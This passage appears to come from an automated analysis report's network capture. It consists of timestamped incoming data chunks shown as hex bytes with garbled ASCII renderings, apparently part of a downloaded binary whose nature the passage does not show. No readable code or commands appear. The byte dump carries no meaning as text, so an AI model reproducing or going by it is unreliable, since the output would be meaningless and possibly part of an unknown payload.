30 d3 0b aa e1 6f 71 bb 3e 6f c2 b1 e8 b8 68 21 43 26 c4 43 93 22 2c 7f d9 79 59 04 16 28 07 9c 77 8e 56 9a 5f cf 64 d6 ec 6d a0 35 c5 cf 09 29 b2 14 8f 09 44 ec 47 cf 2c 9b c0 Data Ascii: j9Cq+Em8KLT{%th<eD@6Z3w ;R?hB~pwkJ96S>UNf2a@w+nu?xvwV`JZ<UqxtfWzjW5k.U.}`vdW,_0oq>oh!C&C",yY(wV_dm5)DG,
2022-08-04 11:37:02 UTC	2295	IN	Data Raw: f4 93 29 f9 5f 21 c7 e3 f0 ee 48 01 5f c8 ea 38 b6 85 d7 0b aa 8b 9e d6 ea 89 a9 84 08 1e 62 7f ae cf d0 17 e9 54 b6 6f 04 7c 6b ff 27 e8 fc 3e 68 3c c4 27 7d 46 c9 24 b9 40 d4 80 81 f2 61 03 94 35 2f 45 89 5e 5a be 03 f3 f9 05 f6 57 02 0e cb d8 1e ba 70 f6 7e 24 33 33 c8 01 74 1e 10 3c 1b fa 69 d6 02 4f 59 08 df e6 4a 62 0b a9 48 2d 8f 6a 6b 38 59 b9 c9 71 44 24 2d 83 78 71 6f 7b 03 60 f5 64 9d 13 0c 5b b2 ac 22 48 7f 5b ba 62 63 83 09 00 85 1c ec 7c 77 22 e9 c8 ea 98 5a e5 ba 21 86 e3 33 39 16 12 d7 ba e2 2c b4 b7 a8 c4 eb 33 68 6b b5 95 71 0f f4 0e bc 21 50 ac e8 af 26 10 df bc c3 06 4b 7e 44 c4 22 30 00 88 42 2d 19 77 ff cf 0b 4f f5 ff 31 1b 86 2e 2a 45 ec 2a e7 a4 48 72 5d 7a 2e 8c d7 19 7f 01 91 e6 1c 2f 14 b6 cc 68 62 b0 76 8c c5 6e 53 24 14 01 c0 Data Ascii: )_!H_8bTo\|k'>h<'}F$@a5/E^ZWp~$33t<iOYJbH-jk8YqD$-xqo{`d["H[bc\|w"Z!39,3hkq!P&K~D"0B-wO1.EHr]z./hbvnS$
2022-08-04 11:37:02 UTC	2311	IN	Data Raw: d4 ca fe ff 21 e8 97 f6 44 d4 85 93 21 9a 96 a0 7f 8d 62 20 08 07 00 18 95 f3 ec fb 92 52 e0 10 51 42 0f 04 97 74 9d c8 ef cf 11 00 c1 ce 6f 38 e6 9e 36 b5 d6 60 58 84 78 2c f8 5c 00 30 70 f3 55 c2 00 73 5d 4b e6 09 82 c0 ee 4f 16 ac 4e c5 8e 14 05 52 6a 67 a4 42 1c 13 c4 92 d5 ab 3c eb 6e 00 51 72 08 b8 eb dd c5 d8 95 e2 e9 5e 9e e4 da ef 01 95 c2 a2 07 14 40 28 a4 f5 2f 0b 51 1a e2 13 20 90 97 18 c9 68 30 a2 d5 34 16 fd a1 04 65 8f e2 cd 4c eb 4f c1 e3 45 6d 1e fd 16 37 55 0a fc 06 ee 4b 5d af 39 24 7e ed af e0 68 78 46 2b bf 7f 21 97 2c b8 94 17 d5 41 b8 83 9d 99 5d 16 d2 7e 4f 3d e6 28 46 02 37 b1 ec 77 77 4e 61 13 50 41 5f ba 2d 55 7b 16 6c ee 2e 41 5e 8d b0 2b a7 25 17 8f 04 fb cf 26 4b ab 3a 49 4e a6 b6 91 90 93 a8 b9 b8 42 12 ef 8b 6f b8 1c 8b 53 Data Ascii: !D!b RQBto86`Xx,\0pUs]KONRjgB<nQr^@(/Q h04eLOEm7UK]9$~hxF+!,A]~O=(F7wwNaPA_-U{l.A^+%&K:INBoS
2022-08-04 11:37:02 UTC	2327	IN	Data Raw: 70 07 33 9f c3 39 98 c6 c1 82 50 68 56 31 09 b7 3d 11 7b 60 80 61 fd 05 34 16 b2 92 53 a2 d5 05 78 68 fe 35 20 9a a1 1c 4f 50 03 24 9b 71 59 1f 64 fa 2a f8 1f 2d f7 d3 20 aa 0a f2 0c 24 02 44 c1 dc 1e 10 5d b3 1b 1a 19 35 fd 0f 24 81 eb 1f b3 90 14 67 9e 21 31 12 de 6d 8f 32 6a ac 80 81 b3 d8 cb 37 86 3c 97 0c 03 6d 09 cc 59 87 8e 90 8a 1a 1d 17 11 56 c6 e0 78 34 05 3e a2 15 66 74 ea 47 ce cb 07 25 0a 00 58 10 92 3f 02 b9 97 aa 83 e9 1e 4e 0a d7 7c 13 83 5d 37 85 c4 26 a1 be 42 54 26 82 51 68 5c 21 69 c5 53 b2 b0 55 74 f0 7c fd 16 f8 f8 8c 02 75 03 c2 9d b6 32 5c 5a 69 d4 0e 80 95 55 c7 21 d0 ea 00 48 ee 5e 9a 60 6d ae 75 1d 16 7a b1 5b 0c 61 06 a0 92 51 a9 34 48 28 b0 1a ee bd ba 90 c7 e8 20 af 07 8c 10 c9 2f 68 92 5c c1 77 3b 52 0b 48 46 44 bb 5f c8 30 Data Ascii: p39PhV1={`a4Sxh5 OP$qYd*- $D]5$g!1m2j7<mYVx4>ftG%X?N\|]7&BT&Qh\!iSUt\|u2\ZiU!H^`muz[aQ4H( /h\w;RHFD_0
2022-08-04 11:37:02 UTC	2343	IN	Data Raw: 18 94 aa df c6 ce de 4e 36 34 8c 04 1f f5 ca 80 10 d3 2e 19 66 ab 62 5b dc 06 9c 85 6e 28 4f 38 e2 60 21 2c b1 a4 0d fc a7 56 d5 8d 3e 4c 6a a9 3c 85 5d 0f 00 ec 52 6f fd a4 75 01 e9 f7 aa 63 94 a6 20 dd d4 6b 20 ae 2c 24 cf 00 18 f0 7f 5b 56 52 ba f6 3c 78 fc 00 be d9 9f f3 ff 01 d6 bf c7 dc 8e eb 95 01 ff 7d 01 f3 71 66 05 08 ea b2 bc 01 53 51 57 68 ef 64 f9 7f 3f e7 cd 3e 81 8f f0 cf 2a d8 0c a0 ea 02 59 82 89 f9 5f 31 d5 67 54 27 00 00 5f aa 7a 7e bd 76 6d c4 db 76 ef 7b cb 25 f7 6b 39 1c 05 44 0d cd ce 6a a2 e9 07 c5 58 3d 4e 83 83 ed ff c3 f7 d5 2c 06 dd 53 07 c5 6f 9d 46 56 0e 1e f5 05 10 53 d9 ff 45 af 09 b4 c2 84 44 52 c9 fb da 92 0d d5 60 43 05 33 06 e6 d1 7d e9 bd 87 2c c6 07 74 00 37 f5 53 48 c7 c3 94 b1 40 01 fb 66 41 67 56 06 57 50 b7 4b 45 Data Ascii: N64.fb[n(O8`!,V>Lj<]Rouc k ,$[VR<x}qfSQWhd?>*Y_1gT'_z~vmv{%k9DjX=N,SoFVSEDR`C3},t7SH@fAgVWPKE
2022-08-04 11:37:02 UTC	2359	IN	Data Raw: d4 41 4e 8a ff 0a cb 49 65 48 42 c4 30 17 02 c3 6a 90 52 80 66 c0 6d 7d 3e 25 92 e2 55 90 1a 3b cc 84 c0 54 e6 ba 0e 03 e7 62 f8 b4 74 fa 52 70 fc a2 b7 aa 58 17 15 0e df 13 11 18 fd 76 c1 3b 06 ec 16 6e b3 fc c7 e6 90 a0 7a ab eb 69 17 c5 24 a5 af 37 5e 6c 91 31 58 3b d2 86 42 8f d4 84 c6 0a 79 f0 d1 1f d8 c0 2c ee fa f5 a0 68 d5 91 08 b1 27 44 aa 3c 89 df c8 98 78 f2 9b e8 8d 50 02 48 e1 f8 6b b9 c8 98 70 93 2e 0b b8 58 17 9d 9c aa 49 57 91 59 aa e1 3b f0 0a 8d 5f 48 3a ad ae b2 bd 18 20 3d 5a 02 b2 4c 90 3c 85 fa a8 28 5a 28 23 3d 02 e0 7a a2 aa 3c 94 92 88 f2 6e c1 ca 58 23 3b f3 38 10 03 6f c2 a8 53 d5 dd 80 d8 69 05 2e 63 5d fa fa 00 f5 46 d0 7a 34 e8 df 9f 80 7e 0f 04 42 3a 5f 80 00 54 72 d7 91 15 7a ff 61 7d ce a0 f6 dd 66 e2 63 b9 ae 00 c4 0b 8a Data Ascii: ANIeHB0jRfm}>%U;TbtRpXv;nzi$7^l1X;By,h'D<xPHkp.XIWY;_H: =ZL<(Z(#=z<nX#;8oSi.c]Fz4~B:_Trza}fc
2022-08-04 11:37:02 UTC	2375	IN	Data Raw: 48 d5 74 0b 67 27 05 5d 32 fd 00 e8 4d 68 c7 f8 04 d4 c0 2a e9 88 ba d8 ba a8 2d 18 fd 51 4e 73 13 24 b3 06 ae 6c 78 b0 da 51 39 d5 d1 2c 64 34 59 ac 65 dc 35 07 09 08 14 b8 4a d1 6b 60 13 04 df 31 fe eb 00 92 73 8d 66 7a 23 06 25 5e e2 ec 12 21 34 a0 80 93 fc 04 96 f8 fc ae 28 98 87 1f 64 55 09 41 9c 95 c0 cd a4 39 bc dc aa 5e 5c 72 56 4c 9e b5 80 95 0f 05 ef 1e 9c dd f9 13 01 ab d9 7c 96 9c 3d c8 a2 fa 40 70 35 61 4e 70 21 f9 80 6a a9 76 d0 fe 16 79 ff 21 3e 10 69 7a d2 36 80 2c 1c b7 5c 9f ca 84 c0 0c ae 40 de ea 4f fc 38 0f 01 89 63 39 81 73 70 19 c8 e2 01 cb 30 54 e8 e9 b7 ba 84 05 7f a0 24 ec f2 f3 fa 29 c8 11 04 13 15 ed 52 aa 3c 88 b8 0b 87 4c 49 c3 77 09 ae 7f 78 7a 5f 80 98 c4 9c 50 f6 d2 e9 75 d6 61 dc 0a 73 03 fd 00 0f 42 e8 80 d8 04 c1 b8 52 Data Ascii: Htg']2Mh*-QNs$lxQ9,d4Ye5Jk`1sfz#%^!4(dUA9^\rVL\|=@p5aNp!jvy!>iz6,\@O8c9sp0T$)R<LIwxz_PuasBR
2022-08-04 11:37:02 UTC	2391	IN	Data Raw: 1a cf 4c 01 19 1c 70 43 2f 14 2b 49 3a 34 cc 56 c6 74 9e 90 a0 2d 48 fe 5f 11 4e d7 24 42 fb 1c e3 91 16 0b 14 0e 62 e4 5b 0e b0 78 d6 2d 02 bd 59 cc cb df 38 0a e3 87 59 02 f4 db 9c a8 91 4e 59 00 af 9d a0 f0 64 38 0f f8 7a c2 00 ca 02 9b f2 54 61 6a 8f c4 48 b7 71 22 5b f5 d2 84 01 f2 43 6b 2f ba 5e 07 7a 20 78 1b 87 33 50 57 b2 74 d3 f1 e0 a9 62 3e 29 6b 30 c1 58 e7 8e b3 09 06 d5 f5 50 23 76 8a d3 60 30 60 25 31 51 6f ff 52 72 1b 70 e8 00 9c 52 af e9 fa bf 7e b1 00 78 10 c8 f7 c4 36 2d 81 95 df 1c a4 e0 fc 09 aa 21 07 b1 fd 89 f4 fd c5 76 88 e7 7b 30 d0 6d 11 81 58 c5 5e 87 53 65 64 57 f3 1c 05 1c 9f 4d 76 00 38 60 c5 65 26 aa 67 48 76 9d e9 ea a8 02 0a d4 0b dd 79 d0 32 38 4a 50 c0 31 fc 1a 2c 14 12 2b e3 34 14 ff 1c 08 98 3c 44 78 24 87 91 02 40 a9 Data Ascii: LpC/+I:4Vt-H_N$Bb[x-Y8YNYd8zTajHq"[Ck/^z x3PWtb>)k0XP#v`0`%1QoRrpR~x6-!v{0mX^SedWMv8`e&gHvy28JP1,+4<Dx$@
2022-08-04 11:37:02 UTC	2407	IN	Data Raw: 75 1e b4 44 a0 13 5e 55 fd 51 52 6d 99 f4 e5 fd 5c 78 9c c2 e9 86 a6 48 72 68 06 75 80 5c 69 77 8c 57 dd 5f 9c dd f2 5d d1 8a 25 5b 84 a8 79 3e bd 4a 96 ed 7e b8 20 d4 a5 03 10 d2 5c 81 ff 67 03 a6 f1 f6 5e e8 75 e9 5a 5d a3 9e 5f ac 90 a9 2e e8 dc e5 10 16 d0 a6 dc 4e 54 fe cf 51 4e f7 05 c9 1c de ea 59 52 3e fc eb b9 2d d8 d2 ff 99 49 6c 88 81 dd 23 fe 2d 78 e3 ed 25 e0 1d 79 32 57 34 c3 0a bd cc df e7 46 db 4e 5e c3 95 dd a4 ba 54 1f 78 c9 2c 34 8e 95 57 95 d0 e9 f4 1a 71 51 69 05 04 33 db da 2a b0 79 e9 a2 08 f9 08 44 2c 09 bd 1c 8d 97 ff 90 fd fd a4 91 89 0e 15 4e a6 5f 51 26 49 d1 46 91 31 c9 14 d9 06 02 e7 64 7e 2c e4 72 51 f2 09 3c 7c a4 eb da bf 0b 68 ad d6 5e cd 11 52 0f 49 ba ec 0e 4b 17 ce 21 03 68 28 50 fa 56 a8 83 e0 ff 95 ff bc e1 0e b9 4f Data Ascii: uD^UQRm\xHrhu\iwW_]%[y>J~ \g^uZ]_.NTQNYR>-Il#-x%y2W4FN^Tx,4WqQi3*yD,N_Q&IF1d~,rQ<\|h^RIK!h(PVO
2022-08-04 11:37:02 UTC	2423	IN	Data Raw: 7c 04 73 1a 14 e3 68 c8 b6 5f 67 c6 f9 5e 38 41 81 14 02 3f a9 32 c0 9f 3f b9 67 f2 09 a2 20 fa bd 5f 53 f4 a0 ee 26 b9 ff 60 42 0a c3 02 a9 4e 41 0c c8 20 1f 66 01 9b 2a 18 83 e5 c5 cc 2f ea 6c 3c 4a 2e 5d 7c 02 5b 2d 9c 52 de 74 27 f5 14 40 b5 46 a6 25 e0 b6 f6 16 79 bd 3e be 32 b4 80 ac 1e 2c e8 a7 1e 80 b9 6b 5c 41 24 3d 05 b0 78 08 e0 90 af 01 48 7e 70 13 49 04 0f e4 c0 ef ce 12 60 9a ac 07 6f 4a 36 40 44 b9 7f 09 6d 58 dc 0e 2d 72 f0 43 34 4a ae 63 20 df ec fa e6 54 60 a8 56 f8 ec 2e 2f 0f 9e 9e 24 0e ec d4 f4 2f 27 14 0e f9 7f ec a2 80 b2 fd 8d 02 e9 7f 7d eb a1 56 e4 e8 31 dc 91 a4 fb 02 41 88 20 57 72 c0 29 da 0e 3d 00 4c b8 f9 59 d8 90 87 06 5d ed 60 cd 19 cc bd 56 fe 72 5f 2d e4 a8 2b 72 2e a6 5c 1c 01 83 7d 98 1e cc 7c b4 01 d3 23 75 56 17 76 Data Ascii: \|sh_g^8A?2?g _S&`BNA f*/l<J.]\|[-Rt'@F%y>2,k\A$=xH~pI`oJ6@DmX-rC4Jc T`V./$/'}V1A Wr)=LY]`Vr_-+r.\}\|#uVv
2022-08-04 11:37:02 UTC	2439	IN	Data Raw: 69 e9 25 ff b4 58 7d 05 98 37 36 47 16 f4 3b 58 34 5d 94 49 00 b0 07 0f 3c 2c dc 50 7f 24 03 14 61 2d 3d ea 80 4e 10 1c 56 77 60 1a 48 ff 55 d7 27 7a dd a0 a4 66 34 04 07 71 86 e8 11 f0 c8 4a 14 65 4b 74 da 9e c6 23 55 40 24 45 c3 d0 d6 c4 18 0f 6a 30 7c d8 10 06 b6 26 8f e2 60 25 2c 5b c6 00 2a ae bf d9 7c cb 7d e2 de 5c 86 69 7a b2 20 fa a6 0f d8 c5 fd a4 5e 93 05 be 8b d0 04 eb 60 a2 1b 64 88 24 2c 2e 1a 01 82 58 18 55 e1 6e ac e2 f3 88 87 88 61 57 bc bd 2e b6 8a 8d 20 50 27 46 60 38 49 5f 44 42 01 5d ae 68 31 e8 0e 01 7e f6 ea 98 d8 b1 4d 00 c8 51 87 f0 d5 4e fa 32 bf 18 c4 49 c1 80 51 15 bf 51 90 b1 08 7f 17 40 14 8e 29 03 9f 21 a6 c1 1f 9f 89 10 87 17 02 e4 21 2f 75 98 0a a8 d5 5a 56 fc d0 81 71 87 e8 76 08 ca 05 27 54 5b fa a1 c0 3e 3e 4a 3a 16 2b Data Ascii: i%X}76G;X4]I<,P$a-=NVw`HU'zf4qJeKt#U@$Ej0\|&`%,[*\|}\iz ^`d$,.XUnaW. P'F`8I_DB]h1~MQN2IQQ@)!!/uZVqv'T[>>J:+
2022-08-04 11:37:02 UTC	2455	IN	Data Raw: e2 28 f4 e9 8c d6 5a 68 0b 2f 75 4d 9d 48 20 5a e4 13 94 3f 54 f0 64 ac 25 04 82 83 50 3b 44 3d 28 b4 19 4e 17 20 85 3e 0f 82 c0 04 f2 97 81 1a 58 60 a5 08 7d 1c 50 35 c6 a9 ac ea e6 e4 0c 41 4e ce 1d 88 bf 51 d8 52 0d 32 dd 3e 82 5d 2b ff f9 5c e3 ec 5c 85 af ca 20 00 be eb 83 50 0f 9e ec 00 3b b2 99 b4 1d fb 65 bb 00 08 04 c9 a1 7a 50 77 19 60 e6 f8 57 c0 b3 e9 00 89 40 f8 07 da 28 ca 56 5f ab ac 62 01 26 fb 8e 49 9a 66 49 62 7e dc 9d de b7 03 db c7 51 48 b0 6f 2f 04 92 3c 7e 66 80 7a 3b 89 a9 1f b0 27 ae e0 7f e7 4a 03 f6 f1 81 7d ba eb f5 4a 9e d7 ce 3c 65 5b f4 09 ea cd 36 38 4e 4e f3 eb 97 ab 13 9e b8 85 a6 4c 2f 0c a5 21 16 f9 56 8a c6 44 26 02 09 12 33 6e 5c 46 01 62 3f fc 3e 66 f0 08 00 5d 08 21 7a eb d4 b9 3c 25 11 6f 90 e0 51 58 fd 30 14 8f 06 Data Ascii: (Zh/uMH Z?Td%P;D=(N >X`}P5ANQR2>]+\\ P;ezPw`W@(V_b&IfIb~QHo/<~fz;'J}J<e[68NNL/!VD&3n\Fb?>f]!z<%oQX0
2022-08-04 11:37:02 UTC	2471	IN	Data Raw: 14 8d 7c 52 64 c1 88 b2 ec 5e 61 66 c4 2c d9 c3 12 09 d0 96 0b 9c 93 12 13 07 16 bf 33 7b 8c 87 3e 02 35 c0 6a c0 ac f9 d4 fe 70 00 98 b9 5b 0e 8d 3a 42 a5 38 72 0d 8b b1 e4 03 00 8a 75 a1 33 b9 00 7e d1 fc c4 47 9c f5 93 4a ce 40 54 25 8b eb 36 9b 00 78 5f 06 1d 99 26 e3 f9 4e ff 57 be 17 3a b8 02 e0 4e 5b 54 5e 1a 35 32 bd 56 24 1e 90 84 9b c8 da af c5 ce ae a3 30 96 be 94 34 fe ca 40 10 24 2f 4e ad 36 25 80 ff ce 2a 16 cb 1e ed 03 e2 86 79 29 a8 74 21 6a b8 ca 03 70 9b 18 25 14 0c 84 be 98 ea c9 12 9f 23 32 1d 40 5c 97 27 90 0c c8 a5 26 5d 65 e6 40 50 c9 b8 5a 5f 66 80 38 6e 60 e5 2f 19 d1 d5 1e 80 2d a1 a5 de 9c ec 7c 98 38 1a d6 0c 99 3a 0c 2d 34 93 2a be ad 09 a2 90 97 a3 77 68 dc 43 05 30 30 f7 84 d7 de 6d 60 22 34 52 e0 46 90 24 a0 80 42 b0 d6 1a Data Ascii: \|Rd^af,3{>5jp[:B8ru3~GJ@T%6x_&NW:N[T^52V$04@$/N6%y)t!jp%#2@\'&]e@PZ_f8n`/-\|8:-4whC00m`"4RF$B
2022-08-04 11:37:02 UTC	2487	IN	Data Raw: a9 9f 73 7a 8e 63 7c 13 66 20 49 02 83 1b 65 69 fc 0b 77 58 30 9e d4 2d 55 96 96 3e 4d 7a df af 70 60 96 23 e6 12 0f 9f 9d a8 1c f0 d4 67 24 04 77 f4 9c 1d 6e fa f8 32 a0 97 d7 32 18 42 82 eb b8 dc b0 4a 65 a2 9a 7d 04 a6 b3 5a 45 29 a4 64 9b 39 be 16 d0 38 a0 05 a8 2b 0d f8 b9 ae e6 fa 80 b6 b4 18 4d f8 2f 05 28 57 3a 6b 10 b4 94 e5 97 54 f8 73 00 fc 78 4b 55 10 6f 15 3c bd 70 84 9f fc 66 c0 52 31 f7 3d 60 87 d9 e5 5f 7e 40 a0 5a 2d 0e 0b fa 2f 1b 07 68 ae 27 49 28 59 a6 46 ec 2f 04 d1 23 2c b7 fe ab 89 ce fa f7 4d be 25 57 04 bc 80 fe b7 42 15 fb 0f e6 0a 4f 62 70 1a 00 dc df a8 4c ab 77 74 93 80 86 e5 0c 0c 7c 4a f0 a0 d6 fe db 09 41 ce e1 ad 25 8c ec c0 97 c2 d8 4a 74 8e 0c 1c 47 51 22 6c 88 4f c8 ab 68 d6 3e 21 39 fe 6b d6 a4 59 46 af 2d 5b a4 62 42 Data Ascii: szc\|f IeiwX0-U>Mzp`#g$wn22BJe}ZE)d98+M/(W:kTsxKUo<pfR1=`_~@Z-/h'I(YF/#,M%WBObpLwt\|JA%JtGQ"lOh>!9kYF-[bB
2022-08-04 11:37:02 UTC	2503	IN	Data Raw: 4e 27 49 9d a5 92 b0 c8 78 d6 63 0f b0 99 4e 01 78 77 9a ae 7d ea bd 9d 5c 80 4a 9b 97 e6 00 f7 81 03 1b d8 8b 02 99 94 e9 c8 cc a3 55 29 26 57 16 43 12 60 58 03 ab f3 aa 42 e4 17 35 75 20 18 56 e5 4e b5 54 fd 82 c3 96 22 08 80 24 63 f8 c2 7c 60 2b e9 a2 9f 52 02 25 8d 93 7e eb 8f e4 5e 16 ea dd 4d 38 e0 c1 d3 5d ba 1c 6f f2 f3 c5 2d 69 16 90 aa 5e 51 be 7c 97 f5 16 27 25 c5 5e 57 42 21 dd fb f3 0a b5 93 6c 02 ee ae 98 87 c4 34 3b d8 b8 17 02 db a4 02 cd 3a 68 14 b1 b7 34 85 90 f4 52 9d 5b 05 a4 00 6d 4a 7a ec 4d c5 1a 03 0e ce d2 a0 a1 1b e7 88 6a 14 4f 06 f4 14 18 f9 2e 80 d3 ed 34 46 69 c8 be fc 93 41 88 6b e3 fd d2 fb f1 93 3d 5e d8 40 7d 85 c7 60 51 5c 6a b4 b9 43 c4 56 f7 aa ac 21 a0 59 9e 35 3a 47 27 16 8f dd e4 6a 75 86 38 b4 13 61 9d f1 24 88 50 Data Ascii: N'IxcNxw}\JU)&WC`XB5u VNT"$c\|`+R%~^M8]o-i^Q\|'%^WB!l4;:h4R[mJzMjO.4FiAk=^@}`Q\jCV!Y5:G'ju8a$P
2022-08-04 11:37:02 UTC	2519	IN	Data Raw: d9 0b 08 2a 90 a2 59 c1 5f 4d bb 35 a3 ae 9c 00 7a 5a c5 e8 5e b0 0e d9 74 02 7b b2 9c dd c4 fc dd cc 80 10 5b 01 34 c2 60 5c 43 df 7b b7 b1 88 5f fe c2 df ec 9e 35 cb 60 f4 04 c8 b4 da c8 82 5b 4b 57 31 f0 92 05 80 68 ee 22 8d 65 59 45 9f 16 fd c0 74 a8 78 8c 30 48 0b 14 37 c1 2b 5f e5 b3 8f a9 b9 77 fa 68 90 47 00 be 78 04 df eb 5b c6 1e 23 a6 88 a0 92 32 7f b4 48 82 66 1e 31 ca ce 54 fb cb 80 24 70 3b b0 c3 2b 77 c2 44 11 ef 8b fd e0 8d ca bb 07 a8 75 6c 13 db 31 bf f4 c7 6c 46 80 29 f1 48 6b 0b 97 f9 56 00 0f 3f a8 62 9e ad 90 00 02 bb 8f e2 1c 9c e1 5f 68 ce 68 52 bf db cc b0 e0 95 25 eb 0d ae 09 8a 66 25 6a 9c 4a 92 a0 b6 ff 16 4a 37 ec 54 f1 0d a4 c3 24 0c 9e 0e 44 6c bb e9 8b c9 1e 09 e7 56 ca c1 18 76 02 8a 25 d6 e0 f4 4f 69 b1 5d ba 30 f8 f4 32 Data Ascii: *Y_M5zZ^t{[4`\C{_5`[KW1h"eYEtx0H7+_whGx[#2Hf1T$p;+wDul1lF)HkV?b_hhR%f%jJJ7T$DlVv%Oi]02
2022-08-04 11:37:02 UTC	2535	IN	Data Raw: a4 80 7f 73 f1 8c cb 6c 40 ac 17 e7 f8 fd fc 51 b5 80 e0 a4 9b 9c 04 47 e1 eb 95 78 af e2 19 80 e7 3e d1 1a 46 2e 14 35 72 27 55 ee 02 d3 14 aa f2 02 18 ec b2 1c 35 06 c2 94 bd 7b d9 5f 7c 02 58 bf b3 a1 60 39 51 92 35 50 42 ce c3 e0 c9 c0 5d 2d 87 03 74 b5 43 6f 6e 0e c8 93 ff fe 53 cd fd 80 8c 0f 99 6a 1d ac 5c 09 db b8 da b1 75 0b 03 7c 25 c2 1e 8d 55 53 58 09 5e 4e f2 a8 25 99 dc 22 76 26 34 77 ee 5d c2 54 99 ee d6 85 da 58 39 dc 80 36 e2 7c f3 6b c3 eb 09 db c4 de a5 dc 65 58 10 c9 a3 68 09 18 64 74 90 af 0c 82 23 52 9b 52 c2 c6 c0 a0 2f 94 79 7c 3e a9 67 0c ee a6 62 40 ef 14 80 1b 98 e8 8e f1 a3 77 09 70 70 3e 05 9b f6 ec 28 a5 b0 1a 1e 02 46 bf 7a 97 12 82 55 09 4e 5f e7 55 01 8f 76 77 21 68 e8 61 bf 25 65 a6 f7 b3 35 18 0c 1c a5 6c 9e cd 5e 57 89 Data Ascii: sl@QGx>F.5r'U5{_\|X`9Q5PB]-tConSj\u\|%USX^N%"v&4w]TX96\|keXhdt#RR/y\|>gb@wpp>(FzUN_Uvw!ha%e5l^W
2022-08-04 11:37:02 UTC	2543	IN	Data Raw: eb 7b 25 90 be f2 f3 85 ad 4d 8a 18 40 8c b6 00 7d c4 5b 81 9e 22 0a 51 42 43 00 6c e1 e4 1b 8f e2 dd 88 cd 4c 95 76 8b 40 81 92 af 2e a0 94 82 cb c7 38 e0 5b 5b 89 3b fd 67 04 84 be de ff fa ad 7a c1 e0 f9 d9 59 60 2a 2d 30 e5 04 39 a3 6d 27 4a 76 a2 bf 0c db 36 e7 51 bd a8 8f 78 fa 2a bc 65 13 14 31 30 45 9b 4b eb 8c db ac 4e c3 91 6e d6 e9 62 46 15 76 a4 ca 94 5e 60 08 4e 4c 07 01 30 b9 33 40 0d 8d 55 52 1e a8 05 8b fa af 7e 00 70 49 ec bb 0e df 5d 20 e9 01 b0 cf 08 3d 75 c3 50 a6 c4 45 4d 92 2e 32 b5 f2 80 a4 57 09 fe 7d 98 d2 13 8a a0 96 b3 0c 02 ed 79 62 68 56 35 5f fe a2 44 80 ba a8 81 e5 be 09 56 05 7f fb 48 8c c5 29 24 a5 4e 45 f7 fa c1 60 15 fd ff 7f 74 70 ba a6 cd 1d dd db b7 21 a9 7f 9c 0e 15 35 75 ff 26 2d 34 77 16 3f 03 84 35 d6 68 06 63 05 Data Ascii: {%M@}["QBClLv@.8[[;gzY`-09m'Jv6Qxe10EKNnbFv^`NL03@UR~pI] =uPEM.2W}ybhV5_DVH)$NE`tp!5u&-4w?5hc
2022-08-04 11:37:02 UTC	2559	IN	Data Raw: 63 ae a0 50 ee f8 04 9c 4d 42 fb df 5e 3b 82 b1 2d 77 ec ec 66 0d 04 47 21 03 38 89 24 6a 6d b2 ec f2 23 00 d0 a8 62 0d 38 89 42 ff bf 3a 1d 00 88 4b 8d 57 3c 5e 2f ce d5 60 bc 8b 72 3e 7f e4 14 3e c3 b7 4b b2 f1 80 8a c4 db 08 77 27 14 d1 b3 e1 b4 34 05 9a 22 40 12 ce ea ce 44 1e e0 a0 2d 32 05 55 99 8b 2a af 41 e6 61 c1 24 2c 1b c7 5e 38 bf 5a b8 30 e1 4c 15 7a 8b 5d 01 54 4e ba 11 40 7b 2b 9d 75 b1 6c 14 57 66 46 a2 14 7c 37 25 d8 8e d3 31 a0 9c 00 d6 5b 39 55 8a 9d 07 3b b0 f8 0f 77 38 c4 4f 00 01 de ee c5 06 4b db c0 e7 94 2f 60 00 18 fd e4 46 e3 d6 4c dd 13 62 53 a6 26 c8 60 7f 2e c0 8c 55 ec 94 d4 41 07 e9 fa 3b c2 87 cf b8 cc 83 ac 26 85 91 42 40 db d3 f7 1c 30 47 6f 3d 88 0d 58 24 5e 9a 4e 00 e8 c0 5a 74 e0 e7 33 9d 4c 38 e9 30 fe 04 0a cd 88 11 Data Ascii: cPMB^;-wfG!8$jm#b8B:KW<^/`r>>Kw'4"@D-2U*Aa$,^8Z0Lz]TN@{+ulWfF\|7%1[9U;w8OK/`FLbS&`.UA;&B@0Go=X$^NZt3L80
2022-08-04 11:37:02 UTC	2575	IN	Data Raw: 90 2b b4 3d 70 d3 f9 5a 97 e9 94 d8 4c 61 c1 00 f4 2f ef ea b9 11 30 24 00 32 76 16 ed bd cf e1 7a 9c 8e 82 74 43 8e ca 86 88 14 75 28 d8 c8 9c 24 51 e7 48 43 ea 5a 02 1c 6a a0 ee 67 3f 50 74 9d d0 8c c9 0d 05 77 9c 50 09 c8 5c fb 1a ee c0 cb 80 62 60 c8 a0 17 99 34 09 80 f1 02 ca c3 55 75 7e 37 c0 8e 03 fc e4 c1 34 15 7a ec c6 80 4d 2b 72 83 f7 42 fd 7d d5 00 94 39 06 54 c3 dd df c1 5c a9 42 9f 9b d7 40 cb c8 13 94 2b 57 92 2e 63 f4 c0 26 be 34 a0 af 4b b2 34 f7 67 cc 8b 56 c5 5d ba c4 76 de 00 87 db 65 c8 9c 40 4a e6 46 7c b3 8f 0c 31 69 8e 48 5a 44 41 2e 6d 06 30 4c 35 60 88 fc df 5d 61 0c 91 da cc 94 74 24 50 f8 74 04 14 c1 ab 84 4f 99 c4 40 0c 24 e4 20 26 69 54 b2 84 fe b4 16 aa 20 71 e1 a2 0c 10 1e df 52 0f ba c0 14 06 66 19 10 02 bf 38 af 4d 95 f6 Data Ascii: +=pZLa/0$2vztCu($QHCZjg?PtwP\b`4Uu~74zM+rB}9T\B@+W.c&4K4gV]ve@JF\|1iHZDA.m0L5`]at$PtO@$ &iT qRf8M
2022-08-04 11:37:02 UTC	2591	IN	Data Raw: 92 a0 22 54 33 0c 23 74 be c8 88 61 4e d1 8c 18 31 10 6d 16 42 19 cc 15 64 a6 47 ad b0 e6 cf 6e 4a 3a fb c8 25 de 55 45 ab 42 e4 9f ec 9a 95 66 82 da 3c 18 75 f4 54 71 ec 96 3d d1 bf dc 19 99 13 38 6d 54 90 06 e3 2d 61 95 f4 9c 6f 02 d9 81 4d 46 34 3a 98 46 93 58 a0 00 86 d2 56 49 d1 f4 50 ba 86 be 50 d9 a6 b3 65 3c 70 05 bb b3 01 18 cd f2 5c 85 b2 c2 88 e8 44 2c 59 a0 27 68 da 8d a7 0d 78 e5 a6 9b d0 30 70 a4 9c ae 00 47 61 a8 b4 e7 78 c1 6c 31 e8 f7 a9 83 58 80 de f9 73 c0 4c 03 2c c1 50 da 44 75 c5 23 a8 17 28 aa 88 77 ac 5f 9b 